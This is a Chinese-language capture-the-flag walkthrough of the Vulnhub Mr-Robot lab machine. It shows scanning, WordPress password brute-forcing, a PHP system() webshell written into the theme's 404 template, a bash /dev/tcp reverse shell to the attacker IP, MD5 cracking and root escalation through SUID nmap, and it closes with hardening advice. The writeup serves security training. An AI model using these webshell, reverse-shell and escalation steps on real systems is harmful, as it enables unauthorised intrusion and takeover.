Mr-Robot 靶机渗透测试Vulnhub Writeup一、靶机与环境介绍本次实战目标为 Vulnhub 平台的 Mr-Robot 靶机灵感取自美剧《黑客军团》主题为 fsociety 黑客组织。任务目标是依次收集三个 KEYkey-1-of-3、key-2-of-3、key-3-of-3。攻击机为 Kali Linux192.168.153.162靶机地址经扫描确认为 192.168.153.167。二、信息收集一存活主机扫描先对本地网段进行 ARP 存活探测发现 192.168.153.167 为 VMware 虚拟机。┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.167 00:0c:29:9a:e1:92 VMware, Inc.二端口扫描全端口扫描发现 22 端口关闭80HTTP与 443HTTPS开放Web 服务为 Apache。┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.167 PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http 443/tcp open https┌──(root㉿kali)-[~] └─# nmap -p22,80,443 192.168.153.167 -sV -O -sC PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-server-header: Apache 443/tcp open ssl/http Apache httpd |_http-server-header: Apache | ssl-cert: Subject: commonNamewww.example.com |_Not valid before: 2015-09-16T10:45:03 MAC Address: 00:0C:29:9A:E1:92 (VMware) Aggressive OS guesses: Linux 3.10 - 4.11 (98%)三目录扫描与第一个 KEY使用 dirsearch 对 Web 目录进行爆破从 wp-admin、wp-login.php 等路径可以判断这是一个 WordPress 站点首页有 fsociety 主题的纪录片式引导。查看 robots.txt 发现暴露的 key-1-of-3.txt访问后拿到第一个 KEY073403c8a58a1f80d943455fb30724b9同时发现站点还提供了字典文件 fsocity.dic将其下载并去重排序后用于后续登录爆破。┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.167 [13:25:54] 200 - 678B - /admin/ [13:27:06] 302 - 0B - /dashboard - http://192.168.153.167/wp-admin/ [13:27:55] 302 - 0B - /login - http://192.168.153.167/wp-login.php [13:28:52] 200 - 0B - /robots.txt [13:29:27] 200 - 1KB - /wp-login.php [13:29:25] 302 - 0B - /wp-admin/ - http://192.168.153.167/wp-login.php?redirect_to...┌──(root㉿kali)-[~] └─# curl http://192.168.153.167/fsocity.dic | sort -u | tee fsocity.dic ┌──(root㉿kali)-[~] └─# wc -l fsocity.dic 11451 fsocity.dic四指纹识别使用 whatweb 识别 WordPress 版本与 PHP 版本确认站点为 WordPress 4.3.1、PHP 5.5.29。┌──(root㉿kali)-[~] └─# whatweb http://192.168.153.167/wp-admin/ http://192.168.153.167/wp-login.php [...] [200 OK] Apache, Cookies[wordpress_...], HTML5, PHP[5.5.29], PasswordField[pwd], PoweredBy[WordPress], Title[user#039;s Blog! rsaquo; Log In], WordPress, X-Powered-By[PHP/5.5.29]三、WordPress 登录爆破一枚举用户名使用 Burp Suite Intruder 对 wp-login.php 进行用户名枚举对比响应长度发现 elliot 账号的响应包长度与其他用户名不同4190 与 4140确认为有效用户名。二爆破密码使用 wpscan 结合之前去重后的 fsocity.dic 字典对 elliot 进行密码爆破成功得到凭据 elliot/ER28-0652。┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.167/wp-login.php -U elliot -P fsocity.dic [] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15). [] Performing password attack on Wp Login against 1 user/s [SUCCESS] - elliot / ER28-0652 Trying elliot / ER28-0652 Time: 00:01:52 (5630 / 17081) 32.96% [!] Valid Combinations Found: | Username: elliot, Password: ER28-0652 [] Elapsed time: 00:02:00四、主题编辑器 getshell使用 elliot 凭据登录 WordPress 后台进入 Appearance → Editor → 404 Template404.php在文件开头写入一句话后门 ?php system($_GET[0]); ? 并保存。访问 http://192.168.153.167/404.php?0id 验证命令执行回显当前进程用户为 daemon。随后在本地 nc 监听 4444 端口通过后门参数传入反弹 Shell 命令注意 URL 编码成功上线。/bin/bash -c /bin/bash -i /dev/tcp/192.168.153.162/4444 01 # URL 编码后传入 GET 参数 %2fbin%2fbash-c%22%2fbin%2fbash-i%3e%26%2fdev%2ftcp%2f192.168.153.162%2f44440%3e%261%22┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.153.162] from (UNKNOWN) [192.168.153.167] 34657 daemonlinux:/opt/bitnami/apps/wordpress/htdocs$ id uid1(daemon) gid1(daemon) groups1(daemon)五、切换 robot 用户第二个 KEY在 Web 目录下看到提示文件 you-will-never-guess-this-file-name.txt查看 /etc/passwd 发现存在 robot 用户。进入 /home/robot 目录读取 password.raw-md5 得到 robot 账号的 MD5 哈希 robot:c3fcd3d76192e4007dfb496cca67e13b离线破解结果为 robot:abcdefghijklmnopqrstuvwxyz。切换用户后读取 key-2-of-3.txt拿到第二个 KEY。daemonlinux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash robot:x:1002:1002::/home/robot: daemonlinux:/home/robot$ ls -alc -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5 daemonlinux:/home/robot$ cat password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13bdaemonlinux:~$ python -c import pty;pty.spawn(/bin/bash); daemonlinux:~$ su - robot Password: abcdefghijklmnopqrstuvwxyz robotlinux:~$ cat key-2-of-3.txt 822c73956184f694993bede3eb39f959六、nmap SUID 提权第三个 KEY查找系统中带 SUID 位的二进制文件发现 /usr/local/bin/nmap 被设置了 SUID。利用 nmap 的 --interactive 交互模式在 nmap 提示符下使用 !sh 直接拉起 root Shell最终读取 /root/key-3-of-3.txt。robotlinux:~$ find / -type f -perm -us 2/dev/null /usr/local/bin/nmaprobotlinux:~$ /usr/local/bin/nmap --interactive nmap !sh # id uid1002(robot) gid1002(robot) euid0(root) groups0(root),1002(robot) # whoami root # ls /root/ -la -rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done -r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt # cat /root/key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4七、总结Mr-Robot 靶机的完整攻击链如下1. 端口与目录扫描确认目标为 WordPress 4.3.1从 robots.txt 获取第一个 KEY 与官方字典 fsocity.dic2. Burp 枚举有效用户名 elliotwpscan 爆破得到 elliot/ER28-06523. 登录后台通过主题编辑器写入 404.php 一句话后门反弹 Shell 获得 daemon 权限4. 读取 /home/robot/password.raw-md5破解 MD5 后切换 robot 用户获得第二个 KEY5. 利用 SUID 位的 nmap 交互模式提权至 root读取第三个 KEY。对应的安全建议① 及时升级 WordPress 与 PHP 版本关闭主题编辑器的文件写入能力② 站点不应暴露字典文件、KEY 文件等敏感路径③ 禁用 WP 用户登录枚举、使用强口令并配合登录失败锁定④ 严格控制 SUID 二进制清单nmap 等调试工具不应配置为 SUID⑤ Web 运行用户与数据库、家目录权限隔离避免 MD5 哈希泄露后可直接切换用户。